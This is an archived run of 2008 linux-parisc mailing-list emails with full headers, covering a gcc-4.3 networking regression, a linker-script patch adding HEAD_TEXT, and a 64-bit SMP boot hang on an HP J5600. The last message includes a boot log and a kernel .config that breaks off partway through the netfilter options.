Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JyXv0-0006RC-JA
	for glpp-linux-parisc@gmane.org; Tue, 20 May 2008 21:54:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933036AbYETTxk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 15:53:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760000AbYETTxk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 15:53:40 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:52900 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933036AbYETTxi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 15:53:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 93D574F80FA;
	Tue, 20 May 2008 13:53:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28583-03; Tue, 20 May 2008 13:53:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 782694F8104; Tue, 20 May 2008 13:53:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K1630E$CD50E274087F116859994AEA72189418@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:339
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/339>

On Tue, May 20, 2008 at 01:36:14PM +0100, rubisher wrote:
> Hello,
> 
> > Hey,
> >
> > Rebuilding now with gcc-4.2 (instead of gcc-4.3) and retesting
> > with 2.6.26-rc3.
> >
> Just a short report, tbh I didn't pay attention that gcc-4.3 became the
> default gcc on my unstable install:
> same Kyle git tree 2.6.26-rc2 + fixed vmlinux.lds 32bit up build for d380 &
> b2k with new gcc-4.3 boot well but nic failed to work (either from box ping
> outside or the contrary: nothing respond)? (the same for the 2 different boxes.)

Yes - we have to track down what causes the network to fail.
ARP is still working correctly so I'm doubtful this is a
NIC driver problem. I've posted more notes on this several
weeks ago.

The gcc-4.3/networking bug is a seperate issue from the bug
which I original reported in this thread.

hth,
grant

> Otoh, same src tree rebuild with gcc-4.2 works fine on the boxes without any
> other chg.
> 
> Hth,
>   r.
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Tue, 20 May 2008 21:59:17 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <48332D95.3020409@gmx.de>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com> <20080517152623.GA26649@colo.lackof.org> <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com> <20080518071342.GB26649@colo.lackof.org> <48305728.20403@gmx.de> <20080518202603.GA9093@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1211313642 16854 80.91.229.12 (20 May 2008 20:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 20:00:42 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>, kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 20 22:01:18 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JyY0K-0000XI-2e
	for glpp-linux-parisc@gmane.org; Tue, 20 May 2008 22:00:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933482AbYETT7X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 15:59:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933508AbYETT7X
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 15:59:23 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53104 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S933482AbYETT7W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 15:59:22 -0400
Original-Received: (qmail invoked by alias); 20 May 2008 19:59:20 -0000
Original-Received: from mnhm-590f519d.pool.einsundeins.de (EHLO halden.box) [89.15.81.157]
  by mail.gmx.net (mp028) with SMTP; 20 May 2008 21:59:20 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/n3+ETVwTni5o4w5D8lakMVzhQ/e+eN0gpa0sKW+
	qJQkRafjffBGQA
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080518202603.GA9093@colo.lackof.org>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/340>

Grant Grundler wrote:
> On Sun, May 18, 2008 at 06:19:52PM +0200, Helge Deller wrote:
...
> (2) works for me. I'm booting with 64-bit on a500...at least it's
> now finding all the disks and attempting to mount NFS root.
> 
>> diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
>> index 50b4a3a..2e516b8 100644
>> --- a/arch/parisc/kernel/vmlinux.lds.S
>> +++ b/arch/parisc/kernel/vmlinux.lds.S
>> @@ -50,6 +50,7 @@ SECTIONS
>>  
>>  	_text = .;		/* Text and read-only data */
>>  	.text ALIGN(16) : {
>> +		HEAD_TEXT
> 
> grundler <537>fgrep HEAD_TEXT include/*/*.h
> include/asm-generic/vmlinux.lds.h:#define HEAD_TEXT  *(.head.text)
> 
> Yeah, I like that better than depending on *(.text) to include it.

So, this is the way to go ?
Should I clean up the patch and send to Linus, or Kyle, will you do that 
anyway with other patches?
I think this really should go into 2.6.26.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG 2.6.26-rc2: deadlock with pa_tlb_lock
Date: Wed, 21 May 2008 00:39:33 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <K16XPX$D5402EE5D532F39790DD094A456EC2C4@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1211327249 28353 80.91.229.12 (20 May 2008 23:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 23:47:29 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 21 01:48:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JybYk-0004jo-Fi
	for glpp-linux-parisc@gmane.org; Wed, 21 May 2008 01:47:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753719AbYETXrL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 19:47:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754450AbYETXrL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 19:47:11 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:59164 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753719AbYETXrK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 19:47:10 -0400
X-Greylist: delayed 403 seconds by postgrey-1.27 at vger.kernel.org; Tue, 20 May 2008 19:47:10 EDT
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m4KNdXLb015891;
	Wed, 21 May 2008 01:39:34 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/341>

> On Tue, May 20, 2008 at 01:36:14PM +0100, rubisher wrote:
> > Hello,
> > 
> > > Hey,
> > >
> > > Rebuilding now with gcc-4.2 (instead of gcc-4.3) and retesting
> > > with 2.6.26-rc3.
> > >
> > Just a short report, tbh I didn't pay attention that gcc-4.3 became the
> > default gcc on my unstable install:
> > same Kyle git tree 2.6.26-rc2 + fixed vmlinux.lds 32bit up build for d380 &
> > b2k with new gcc-4.3 boot well but nic failed to work (either from box ping
> > outside or the contrary: nothing respond)? (the same for the 2 different
boxes.)
> 
> Yes - we have to track down what causes the network to fail.
> ARP is still working correctly so I'm doubtful this is a
> NIC driver problem. I've posted more notes on this several
> weeks ago.
> 
oops sorry I missed it or simply wrongly understand ;<?

> The gcc-4.3/networking bug is a seperate issue from the bug
> which I original reported in this thread.
> 
ok

cu,
  J.
> hth,
> grant
> 
> > Otoh, same src tree rebuild with gcc-4.2 works fine on the boxes without any
> > other chg.
> > 
> > Hth,
> >   r.
> > 
> > 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: 2.6.26-rc3 64bit SMP does not boot on J5600
Date: Thu, 22 May 2008 18:14:54 +0200
Lines: 1380
Approved: news@gmane.org
Message-ID: <20080522161454.GA2873@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211472960 17350 80.91.229.12 (22 May 2008 16:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 May 2008 16:16:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 22 18:16:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JzDSS-00021v-0C
	for glpp-linux-parisc@gmane.org; Thu, 22 May 2008 18:16:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752547AbYEVQPN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2008 12:15:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752583AbYEVQPM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 May 2008 12:15:12 -0400
Original-Received: from mu-out-0910.google.com ([209.85.134.191]:24989 "EHLO
	mu-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752547AbYEVQPH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2008 12:15:07 -0400
Original-Received: by mu-out-0910.google.com with SMTP id w8so88577mue.1
        for <linux-parisc@vger.kernel.org>; Thu, 22 May 2008 09:15:01 -0700 (PDT)
Original-Received: by 10.103.186.7 with SMTP id n7mr183228mup.17.1211472900249;
        Thu, 22 May 2008 09:15:00 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id n10sm5959838mue.14.2008.05.22.09.14.56
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 22 May 2008 09:14:57 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id BB73F144B5A; Thu, 22 May 2008 18:14:54 +0200 (CEST)
Mail-Followup-To: linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:342 gmane.linux.kernel:684607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/342>

Hi,

  after the "1 CPU is stuck" problem, this is what my J5600 parisc
prints at boot before hanging:

Linux version 2.6.26-rc3 (cavok@ska) (gcc version 4.1.3 20080420 (prerelease) (Debian 4.1.2-22)) #11 SMP Thu May 22 15:52:06 CEST 2008
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 3840 MB
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64

This is the .config:

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.26-rc3
# Mon May 19 18:16:20 2008
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_ARCH_SUPPORTS_AOUT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
# CONFIG_GROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_SYSCTL_SYSCALL_CHECK=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_COMPAT_BRK=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
# CONFIG_PROFILING is not set
# CONFIG_MARKERS is not set
CONFIG_HAVE_OPROFILE=y
# CONFIG_HAVE_KPROBES is not set
# CONFIG_HAVE_KRETPROBES is not set
# CONFIG_HAVE_DMA_ATTRS is not set
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_BLK_DEV_BSG is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_CLASSIC_RCU=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
# CONFIG_SPARSEMEM_STATIC is not set
# CONFIG_SPARSEMEM_VMEMMAP_ENABLE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_RESOURCES_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_COMPAT=y
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Networking
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IP_VS is not set
CONFIG_IPV6=m
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
# CONFIG_IPV6_MIP6 is not set
# CONFIG_INET6_XFRM_TUNNEL is not set
CONFIG_INET6_TUNNEL=m
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETLABEL is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
# CONFIG_NF_CT_ACCT is not set
# CONFIG_NF_CONNTRACK_MARK is not set
# CONFIG_NF_CONNTRACK_EVENTS is not set
# CONFIG_NF_CT_PROTO_DCCP is not set
# CONFIG_NF_CT_PROTO_SCTP is not set
# CONFIG_NF_CT_PROTO_UDPLITE is not set
# CONFIG_NF_CONNTRACK_AMANDA is not set
CONFIG_NF_CONNTRACK_FTP=m
# CONFIG_NF_CONNTRACK_H323 is not set
CONFIG_NF_CONNTRACK_IRC=m
# CONFIG_NF_CONNTRACK_NETBIOS_NS is not set
# CONFIG_NF_CONNTRACK_PPTP is not set
# CONFIG_NF_CONNTRACK_SANE is not set
# CONFIG_NF_CONNTRACK_SIP is not set
# CONFIG_NF_CONNTRACK_TFTP is not set
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_XTABLES=m
# CONFIG_NETFILTER_XT_TARGET_CLASSIFY is not set
# CONFIG_NETFILTER_XT_TARGET_CONNMARK is not set
# CONFIG_NETFILTER_XT_TARGET_DSCP is not set
# CONFIG_NETFILTER_XT_TARGET_MARK is not set
# CONFIG_NETFILTER_XT_TARGET_NFQUEUE is not set
# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set
# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set
# CONFIG_NETFILTER_XT_MATCH_COMMENT is not set
# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set
# CONFIG_NETFILTER_XT_MATCH_CONNLIMIT is not set
# CONFIG_NETFILTER_XT_MATCH_CONNMARK is not set
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
# CONFIG_NETFILTER_XT_MATCH_DCCP is not set
# CONFIG_NETFILTER_XT_MATCH_DSCP is not set
# CONFIG_NETFILTER_XT_MATCH_ESP is not set
# CONFIG_NETFILTER_XT_MATCH_HELPER is not set
# CONFIG_NETFILTER_XT_MATCH_IPRANGE is not set
# CONFIG_NETFILTER_XT_MATCH_LENGTH is not set
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
# CONFIG_NETFILTER_XT_MATCH_MAC is not set
# CONFIG_NETFILTER_XT_MATCH_MARK is not set
# CONFIG_NETFILTER_XT_MATCH_OWNER is not set
# CONFIG_NETFILTER_XT_MATCH_MULTIPORT is not set
# CONFIG_NETFILTER_XT_MATCH_PKTTYPE is not set
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set
# CONFIG_NETFILTER_XT_MATCH_REALM is not set
# CONFIG_NETFILTER_XT_MATCH_SCTP is not set
CONFIG_NETFILTER_XT_MATCH_STATE=m
# CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set
# CONFIG_NETFILTER_XT_MATCH_STRING is not set
# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set
# CONFIG_NETFILTER_XT_MATCH_TIME is not set
# CONFIG_NETFILTER_XT_MATCH_U32 is not set
# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set

#
# IP: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=m
# CONFIG_IP_NF_MATCH_RECENT is not set
# CONFIG_IP_NF_MATCH_ECN is not set
# CONFIG_IP_NF_MATCH_AH is not set
# CONFIG_IP_NF_MATCH_TTL is not set
# CONFIG_IP_NF_MATCH_ADDRTYPE is not set
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
# CONFIG_IP_NF_TARGET_REDIRECT is not set
# CONFIG_IP_NF_TARGET_NETMAP is not set
# CONFIG_NF_NAT_SNMP_BASIC is not set
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
# CONFIG_NF_NAT_TFTP is not set
# CONFIG_NF_NAT_AMANDA is not set
# CONFIG_NF_NAT_PPTP is not set
# CONFIG_NF_NAT_H323 is not set
# CONFIG_NF_NAT_SIP is not set
CONFIG_IP_NF_MANGLE=m
# CONFIG_IP_NF_TARGET_ECN is not set
# CONFIG_IP_NF_TARGET_TTL is not set
# CONFIG_IP_NF_TARGET_CLUSTERIP is not set
